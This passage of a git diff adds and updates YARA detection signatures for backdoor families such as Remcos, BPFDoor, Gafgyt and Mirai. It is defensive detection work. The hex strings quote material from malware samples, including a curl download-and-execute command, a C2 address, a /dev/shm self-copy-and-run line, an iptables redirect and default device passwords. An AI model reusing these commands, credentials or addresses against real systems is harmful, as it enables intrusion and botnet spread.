: + $a_03_0 = {09 11 05 03 11 05 91 08 61 06 11 04 91 61 b4 9c 11 04 7e ?? 01 00 04 02 28 ?? 01 00 06 17 da 33 05 16 13 04 2b 06 11 04 17 d6 13 04 11 05 17 d6 13 05 11 05 11 06 31 c8 7e ?? 02 00 04 09 74 ?? 00 00 01 03 8e b7 18 da 17 d6 8d ?? 00 00 01 28 ?? 02 00 06 74 ?? 00 00 1b 0d 09 13 07 de 65 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SRK_MTB.yar b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SRK_MTB.yar new file mode 100644 index 0000000000..b9bb828fcf --- /dev/null +++ b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SRK_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_Remcos_SRK_MTB{ + meta: + description = "Backdoor:BAT/Remcos.SRK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {07 11 10 11 05 91 6f f2 00 00 0a 11 05 17 58 13 05 11 05 11 06 fe 04 13 11 11 11 2d e3 } //2 + $a_01_1 = {24 36 34 39 36 30 37 65 34 2d 38 64 33 33 2d 34 32 36 63 2d 62 33 62 61 2d 36 37 34 35 36 30 32 62 39 66 33 62 } //2 $649607e4-8d33-426c-b3ba-6745602b9f3b + $a_01_2 = {42 6f 6f 6b 5f 4d 67 74 5f 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 Book_Mgt_System.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SSK_MTB.yar b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SSK_MTB.yar new file mode 100644 index 0000000000..a23a4d1e52 --- /dev/null +++ b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SSK_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_BAT_Remcos_SSK_MTB{ + meta: + description = "Backdoor:BAT/Remcos.SSK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {11 0a 11 0b 58 11 0c 58 6c 17 06 19 5a 28 5d 00 00 0a 6c 5b 26 06 1f 2a 5a 20 e8 03 00 00 5d 26 11 17 17 58 13 17 } //2 + $a_01_1 = {53 74 6f 72 6d 43 61 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 StormCast.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_STK_MTB.yar b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_STK_MTB.yar new file mode 100644 index 0000000000..9bf48e06ed --- /dev/null +++ b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_STK_MTB.yar @@ -0,0 +1,23 @@ + +rule Backdoor_BAT_Remcos_STK_MTB{ + meta: + description = "Backdoor:BAT/Remcos.STK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 07 08 18 6f 07 00 00 0a 1f 10 28 08 00 00 0a 6f 09 00 00 0a 08 18 58 0c 08 07 6f 0a 00 00 0a 3f db ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Backdoor_BAT_Remcos_STK_MTB_2{ + meta: + description = "Backdoor:BAT/Remcos.STK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_81_0 = {53 6c 69 63 69 6e 67 44 69 63 65 20 4c 4c 43 } //2 SlicingDice LLC + $a_81_1 = {24 39 64 61 65 66 66 63 61 2d 39 66 38 39 2d 34 65 30 39 2d 39 31 32 39 2d 34 32 34 38 61 66 61 33 35 33 65 61 } //2 $9daeffca-9f89-4e09-9129-4248afa353ea + $a_81_2 = {53 6c 69 63 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 Slicer.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SUK_MTB.yar b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SUK_MTB.yar new file mode 100644 index 0000000000..b5d119fa1a --- /dev/null +++ b/Backdoor/BAT/Remcos/Backdoor_BAT_Remcos_SUK_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_Remcos_SUK_MTB{ + meta: + description = "Backdoor:BAT/Remcos.SUK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 04 1f 0a fe 02 13 06 11 06 2c 0c 07 08 66 5f 07 66 08 5f 60 0d 2b 13 00 11 05 17 1f 14 6f 29 01 00 0a 13 04 00 17 13 07 2b d5 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Backdoor/BAT/VenomRat/Backdoor_BAT_VenomRat_AXPA_MTB.yar b/Backdoor/BAT/VenomRat/Backdoor_BAT_VenomRat_AXPA_MTB.yar new file mode 100644 index 0000000000..925e2878b6 --- /dev/null +++ b/Backdoor/BAT/VenomRat/Backdoor_BAT_VenomRat_AXPA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_VenomRat_AXPA_MTB{ + meta: + description = "Backdoor:BAT/VenomRat.AXPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {2b 1b 2b 1c 2b 21 73 ?? ?? 00 0a 25 72 ?? ?? 00 70 2b 17 2b 1c 2b 1d 2b 22 2b 27 de 2d 02 2b e2 28 ?? ?? 00 06 2b dd 0a 2b dc 28 ?? ?? 00 0a 2b e2 06 2b e1 28 ?? ?? 00 06 2b dc 6f ?? ?? 00 0a 2b d7 0b 2b d6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTB_MTB.yar b/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTB_MTB.yar new file mode 100644 index 0000000000..b070050c90 --- /dev/null +++ b/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTB_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_WebShell_GTB_MTB{ + meta: + description = "Backdoor:BAT/WebShell.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 11 07 6f ?? 00 00 0a 13 08 11 07 6f ?? 00 00 0a 00 02 6f ?? 00 00 0a 6f ?? 00 00 0a 73 ?? 00 00 0a 08 08 6f ?? 00 00 0a 11 08 16 11 08 8e 69 6f ?? 00 00 0a 6f ?? 00 00 0a 00 00 00 de 05 26 00 00 de 00 00 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTQ_MTB.yar b/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTQ_MTB.yar new file mode 100644 index 0000000000..4fdf4b4938 --- /dev/null +++ b/Backdoor/BAT/WebShell/Backdoor_BAT_WebShell_GTQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_BAT_WebShell_GTQ_MTB{ + meta: + description = "Backdoor:BAT/WebShell.GTQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 02 6f ?? 00 00 0a 6f ?? 00 00 0a 07 6f ?? 00 00 0a 28 ?? 00 00 0a 0d d0 ?? 00 00 01 28 ?? 00 00 0a 72 } //10 + $a_03_1 = {41 70 70 5f 57 65 62 5f [0-16] 2e 64 6c 6c } //1 + $a_01_2 = {52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 } //1 RijndaelManaged + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Backdoor/BAT/XWorm/Backdoor_BAT_XWorm_AQRA_MTB.yar b/Backdoor/BAT/XWorm/Backdoor_BAT_XWorm_AQRA_MTB.yar new file mode 100644 index 0000000000..a9b2c6918c --- /dev/null +++ b/Backdoor/BAT/XWorm/Backdoor_BAT_XWorm_AQRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_BAT_XWorm_AQRA_MTB{ + meta: + description = "Backdoor:BAT/XWorm.AQRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {59 1c 58 1b 59 91 61 06 09 20 0f 02 00 00 58 20 0e 02 00 00 59 18 59 18 58 06 8e 69 5d 1f 09 58 1f 0b 58 1f 14 59 91 59 20 fb 00 00 00 58 1a 58 17 58 20 00 01 00 00 5d d2 9c 09 17 58 0d } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_G_MTB.yar b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_G_MTB.yar new file mode 100644 index 0000000000..2c8aa714c0 --- /dev/null +++ b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_G_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_BPFDoor_G_MTB{ + meta: + description = "Backdoor:Linux/BPFDoor.G!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 45 ff 83 c0 01 88 45 ff 0f b6 55 ff 48 8b 45 f0 48 01 d0 0f b6 00 00 45 fe 0f b6 55 fe 48 8b 45 f0 48 01 c2 0f b6 4d ff 48 8b 45 f0 48 01 c8 48 89 d6 48 89 c7 e8 7c fe ff ff } //1 + $a_01_1 = {48 8b 45 f0 48 01 d0 0f b6 10 0f b6 4d fe 48 8b 45 f0 48 01 c8 0f b6 00 01 d0 88 45 ef 8b 45 f8 48 63 d0 48 8b 45 d8 48 01 c2 8b 45 f8 48 63 c8 48 8b 45 d8 48 01 c8 0f b6 08 0f b6 75 ef 48 8b 45 f0 48 01 f0 0f b6 00 31 c8 88 02 83 45 f8 01 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_I_MTB.yar b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_I_MTB.yar new file mode 100644 index 0000000000..d26ab11be3 --- /dev/null +++ b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_I_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_Linux_BPFDoor_I_MTB{ + meta: + description = "Backdoor:Linux/BPFDoor.I!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {2f 62 69 6e 2f 72 6d 20 2d 66 20 2f 64 65 76 2f 73 68 6d 2f 25 73 3b 2f 62 69 6e 2f 63 70 20 25 73 20 2f 64 65 76 2f 73 68 6d 2f 25 73 20 26 26 20 2f 62 69 6e 2f 63 68 6d 6f 64 20 37 35 35 20 2f 64 65 76 2f 73 68 6d 2f 25 73 20 26 26 20 2f 64 65 76 2f 73 68 6d 2f 25 73 20 2d 2d 69 6e 69 74 20 26 26 20 2f 62 69 6e 2f 72 6d 20 2d 66 20 2f 64 65 76 2f 73 68 6d 2f 25 73 } //1 /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s + $a_01_1 = {2f 73 62 69 6e 2f 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 41 20 50 52 45 52 4f 55 54 49 4e 47 20 2d 70 20 74 63 70 20 2d 73 20 25 73 20 2d 2d 64 70 6f 72 74 20 25 64 20 2d 6a 20 52 45 44 49 52 45 43 54 20 2d 2d 74 6f 2d 70 6f 72 74 73 20 25 64 } //1 /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d + $a_01_2 = {45 0f b6 d8 49 01 c3 45 8a 33 44 88 36 41 88 13 02 16 0f b6 d2 8a 14 10 41 30 14 3a } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_J_MTB.yar b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_J_MTB.yar new file mode 100644 index 0000000000..6263baacbe --- /dev/null +++ b/Backdoor/Linux/BPFDoor/Backdoor_Linux_BPFDoor_J_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_BPFDoor_J_MTB{ + meta: + description = "Backdoor:Linux/BPFDoor.J!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {88 45 ff 8b 45 f8 48 98 48 03 45 d8 8b 55 f8 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 ff 48 03 55 e8 0f b6 12 31 ca 88 10 83 45 f8 01 } //2 + $a_01_1 = {5b 2b 5d 20 20 20 53 70 61 77 6e 20 73 68 65 6c 6c 20 6f 6b 2e } //1 [+] Spawn shell ok. + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_AU_MTB.yar b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_AU_MTB.yar new file mode 100644 index 0000000000..e8fa96476d --- /dev/null +++ b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_AU_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Linux_Gafgyt_AU_MTB{ + meta: + description = "Backdoor:Linux/Gafgyt.AU!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {67 72 65 5f 61 74 74 61 63 6b 2e 63 } //1 gre_attack.c + $a_01_1 = {75 64 70 70 6c 61 69 6e 5f 61 74 74 61 63 6b } //1 udpplain_attack + $a_01_2 = {2f 74 6d 70 2f 2e 62 6f 74 5f 6c 6f 63 6b } //1 /tmp/.bot_lock + $a_01_3 = {69 63 6d 70 5f 61 74 74 61 63 6b 2e 63 } //1 icmp_attack.c + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_BA_xp.yar b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_BA_xp.yar index ee249914c2..a495169263 100644 --- a/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_BA_xp.yar +++ b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_BA_xp.yar @@ -1,14 +1,15 @@ rule Backdoor_Linux_Gafgyt_BA_xp{ meta: - description = "Backdoor:Linux/Gafgyt.BA!xp,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 04 00 00 " + description = "Backdoor:Linux/Gafgyt.BA!xp,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 05 00 00 " strings : $a_01_0 = {64 72 65 61 6d 62 6f 78 } //2 dreambox $a_01_1 = {78 6d 68 64 69 70 63 } //2 xmhdipc $a_01_2 = {61 64 6d 69 6e 31 32 33 34 } //1 admin1234 $a_01_3 = {6b 6c 76 31 32 33 } //1 klv123 + $a_01_4 = {63 6f 6d 2e 62 69 74 64 65 66 65 6e 64 65 72 } //-1 com.bitdefender condition: - ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*-1) >=6 } \ No newline at end of file diff --git a/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_DF_MTB.yar b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_DF_MTB.yar index f5f437e16d..6a10a0aafc 100644 --- a/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_DF_MTB.yar +++ b/Backdoor/Linux/Gafgyt/Backdoor_Linux_Gafgyt_DF_MTB.yar @@ -11,4 +11,19 @@ rule Backdoor_Linux_Gafgyt_DF_MTB{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 +} +rule Backdoor_Linux_Gafgyt_DF_MTB_2{ + meta: + description = "Backdoor:Linux/Gafgyt.DF!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_01_0 = {2e 73 68 3b 20 63 75 72 6c 20 2d 4f 20 68 74 74 70 3a 2f 2f 25 73 2f 63 61 74 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 63 61 74 2e 73 68 3b 20 73 68 20 63 61 74 2e 73 68 3b } //2 .sh; curl -O http://%s/cat.sh; chmod 777 cat.sh; sh cat.sh; + $a_01_1 = {39 32 2e 31 31 33 2e 32 39 2e 32 33 32 3a 38 31 } //2 92.113.29.232:81 + $a_01_2 = {5b 30 6d 57 72 6f 6e 67 20 70 61 73 73 77 6f 72 64 21 } //1 [0mWrong password! + $a_01_3 = {5b 30 6d 4e 6f 20 73 68 65 6c 6c 20 61 76 61 69 6c 61 62 6c 65 } //1 [0mNo shell available + $a_01_4 = {74 65 6c 65 63 6f 6d 61 64 6d 69 6e } //1 telecomadmin + $a_01_5 = {6b 6c 76 31 32 33 34 } //1 klv1234 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + } \ No newline at end of file diff --git a/Backdoor/Linux/HailBot/Backdoor_Linux_HailBot_A_MTB.yar b/Backdoor/Linux/HailBot/Backdoor_Linux_HailBot_A_MTB.yar new file mode 100644 index 0000000000..93ebee66ec --- /dev/null +++ b/Backdoor/Linux/HailBot/Backdoor_Linux_HailBot_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Linux_HailBot_A_MTB{ + meta: + description = "Backdoor:Linux/HailBot.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {0c 03 b9 8f 00 00 00 00 09 f8 20 03 00 00 00 00 18 00 bc 8f 06 00 40 14 21 90 40 00 21 c8 c0 03 09 f8 20 03 21 20 20 02 18 00 bc 8f 21 90 22 02 } //1 + $a_01_1 = {23 80 51 02 00 00 70 a2 21 28 20 02 21 20 a0 02 21 c8 e0 02 09 f8 20 03 21 30 00 02 00 00 43 82 01 00 c2 26 18 00 bc 8f 21 b0 50 00 07 00 60 10 21 98 b0 02 01 00 51 26 } //1 + $a_01_2 = {f0 02 a3 8f 10 00 02 24 f4 02 a5 8f c0 02 a6 8f f8 02 b9 8f 14 00 a2 af 10 00 a3 af 21 20 20 02 09 f8 20 03 21 38 00 00 18 00 bc 8f 29 00 40 04 ff ff 72 26 05 00 02 24 fc 02 b0 8f 24 00 a2 af } //1 + $a_01_3 = {f4 02 a2 8f 00 00 00 ae 04 00 10 26 fc ff 02 16 21 20 c0 02 1c 00 a2 8e 04 03 a3 8f 25 10 57 00 fc 02 a5 8f 1c 00 a2 ae 28 00 a0 af 10 00 a3 af 21 30 00 00 21 c8 c0 03 09 f8 20 03 21 38 00 00 21 18 40 00 ff ff 02 24 18 00 bc 8f } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Backdoor/Linux/KtlvDoor/Backdoor_Linux_KtlvDoor_A_MTB.yar b/Backdoor/Linux/KtlvDoor/Backdoor_Linux_KtlvDoor_A_MTB.yar new file mode 100644 index 0000000000..afc025a009 --- /dev/null +++ b/Backdoor/Linux/KtlvDoor/Backdoor_Linux_KtlvDoor_A_MTB.yar @@ -0,0 +1,17 @@ + +rule Backdoor_Linux_KtlvDoor_A_MTB{ + meta: + description = "Backdoor:Linux/KtlvDoor.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {74 6f 6f 6c 73 2f 63 6d 64 2f 61 63 63 2f 61 67 65 6e 74 5f 61 63 63 2f 68 61 6e 64 6c 65 72 2f 70 6f 72 74 73 63 61 6e 2f 74 65 6d 70 6c 61 74 65 2e 53 63 61 6e 46 75 6e 63 52 65 67 69 73 74 65 72 } //1 tools/cmd/acc/agent_acc/handler/portscan/template.ScanFuncRegister + $a_01_1 = {2f 61 67 65 6e 74 5f 61 63 63 2f 63 6f 6e 66 2e 67 65 74 4d 61 63 68 69 6e 65 46 65 61 74 75 72 65 2e 66 75 6e 63 } //1 /agent_acc/conf.getMachineFeature.func + $a_01_2 = {2f 61 67 65 6e 74 5f 61 63 63 2f 63 6f 6e 66 2e 55 70 64 61 74 65 48 6f 73 74 49 6e 66 6f 2e 66 75 6e 63 } //1 /agent_acc/conf.UpdateHostInfo.func + $a_01_3 = {2f 4a 4b 6d 65 2f 67 6f 2d 6e 74 6c 6d 73 73 70 2e 43 68 61 6c 6c 65 6e 67 65 4d 73 67 2e 54 61 72 67 65 74 49 6e 66 6f } //1 /JKme/go-ntlmssp.ChallengeMsg.TargetInfo + $a_01_4 = {2f 68 61 6e 64 6c 65 72 2f 70 6f 72 74 73 63 61 6e 2f 70 73 5f 70 6c 75 67 69 6e 73 2e 53 63 61 6e 57 65 62 2e 66 75 6e 63 } //1 /handler/portscan/ps_plugins.ScanWeb.func + $a_01_5 = {74 6f 6f 6c 73 2f 69 6e 74 65 72 6e 61 6c 2f 75 74 69 6c 73 2f 73 68 65 6c 6c 71 75 6f 74 65 2e 67 6c 6f 62 2e 2e 66 75 6e 63 } //1 tools/internal/utils/shellquote.glob..func + $a_01_6 = {74 6f 6f 6c 73 2f 70 6b 67 2f 63 72 79 70 74 6f 2e 58 6f 72 } //1 tools/pkg/crypto.Xor + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KC_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KC_MTB.yar index 3fc016075e..86a0ecd6a7 100644 --- a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KC_MTB.yar +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KC_MTB.yar @@ -1,12 +1,13 @@ rule Backdoor_Linux_Mirai_KC_MTB{ meta: - description = "Backdoor:Linux/Mirai.KC!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + description = "Backdoor:Linux/Mirai.KC!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 00 " strings : $a_03_0 = {00 00 85 8c 74 01 b9 8f 21 20 40 02 09 f8 20 03 24 00 a6 27 21 88 40 00 ff ff 02 24 18 00 bc 8f cd ?? ?? ?? 21 10 51 02 21 80 40 02 0b 00 13 24 } //1 $a_03_1 = {64 01 b9 8f 21 28 80 00 09 f8 20 03 24 00 a7 27 21 88 40 00 ff ff 02 24 18 00 bc 8f 6b 00 22 16 21 80 00 00 d8 ?? ?? ?? ff ff 17 24 } //1 + $a_01_2 = {80 00 c3 8f 00 00 35 8e 44 00 d9 8f 18 00 75 00 00 00 e2 8e 64 00 34 8f 48 00 c5 8f 4c 00 d9 8f 12 80 00 00 21 80 70 02 00 19 10 00 80 80 10 00 21 80 03 02 09 f8 20 03 21 80 02 02 21 18 40 00 10 00 dc 8f 00 00 02 ae 34 00 c2 8f 00 00 00 00 0c 00 40 10 c0 10 15 00 08 00 89 26 21 48 22 01 00 00 26 8d 04 00 27 8d 21 10 c3 00 21 28 00 00 2b 40 46 00 21 18 e5 00 21 18 03 01 00 00 22 ad 04 00 23 ad } //-5 condition: - ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*-5) >=2 } \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KV_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KV_MTB.yar new file mode 100644 index 0000000000..86e682eaa9 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KV_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_Mirai_KV_MTB{ + meta: + description = "Backdoor:Linux/Mirai.KV!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {00 00 44 82 21 c8 c0 02 09 f8 20 03 01 00 73 26 01 00 44 82 21 c8 c0 02 09 f8 20 03 80 84 02 00 03 00 44 82 00 13 02 00 21 c8 c0 02 09 f8 20 03 25 80 02 02 02 00 51 82 21 c8 c0 02 21 20 20 02 09 f8 20 03 25 80 02 02 80 11 02 00 25 80 02 02 03 14 10 00 3d 00 05 24 10 00 bc 8f 21 20 93 02 03 1a 10 00 03 00 25 12 00 00 e2 a2 00 00 83 a0 01 00 73 26 } //1 + $a_01_1 = {21 10 0b 01 24 18 4f 00 06 00 61 04 21 58 60 00 ff ff 63 24 00 ff 02 24 25 18 62 00 01 00 63 24 21 58 60 00 21 18 83 00 00 00 62 90 00 00 00 00 00 00 22 a1 00 00 68 a0 00 00 22 91 00 00 a3 91 21 10 48 00 ff 00 42 30 21 10 82 00 00 00 42 90 00 00 00 00 26 10 43 00 00 00 c2 a1 01 00 82 25 ff 00 4c 30 2a 10 47 01 21 68 aa 00 21 70 ca 00 21 48 8c 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KY_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KY_MTB.yar new file mode 100644 index 0000000000..c5d91ce876 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KY_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_Mirai_KY_MTB{ + meta: + description = "Backdoor:Linux/Mirai.KY!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {8f 99 83 6c 27 a4 00 18 24 05 00 01 12 00 00 08 02 40 30 21 03 20 f8 09 00 00 00 00 24 03 00 01 8f bc 00 10 10 43 ff f6 26 10 ff ff 26 10 00 01 02 30 10 23 8f bf 00 2c 8f b2 00 28 8f b1 00 24 8f b0 00 20 03 e0 00 08 27 bd 00 30 } //1 + $a_01_1 = {82 03 00 00 00 00 00 00 10 60 00 03 24 02 00 25 14 62 ff fa 00 00 00 00 12 04 00 0c 02 04 88 23 1e 20 00 03 02 20 28 21 10 00 00 06 00 00 10 21 8f 99 83 6c 00 00 00 00 03 20 f8 09 02 c0 30 21 8f bc 00 18 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KZ_MTB.yar b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KZ_MTB.yar new file mode 100644 index 0000000000..cfede2c924 --- /dev/null +++ b/Backdoor/Linux/Mirai/Backdoor_Linux_Mirai_KZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Linux_Mirai_KZ_MTB{ + meta: + description = "Backdoor:Linux/Mirai.KZ!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {01 30 8c e2 c3 2f a0 e1 22 2c a0 e1 02 30 83 e0 ff 30 03 e2 03 c0 62 e0 b5 2f 8d e2 0c 00 82 e0 c0 32 50 e5 03 30 8e e0 c3 1f a0 e1 21 1c a0 e1 01 30 83 e0 ff 30 03 e2 03 e0 61 e0 0e 30 d7 e7 0c 20 d7 e7 03 20 22 e0 0c 20 c7 e7 0e 30 d7 e7 03 20 22 e0 0e 20 c7 e7 0c 30 d7 e7 } //1 + $a_01_1 = {0e 20 c7 e7 0c 30 d7 e7 03 20 22 e0 0c 20 c7 e7 b5 3f 8d e2 0e 10 83 e0 c0 22 51 e5 c0 32 50 e5 02 30 83 e0 ff 30 03 e2 b5 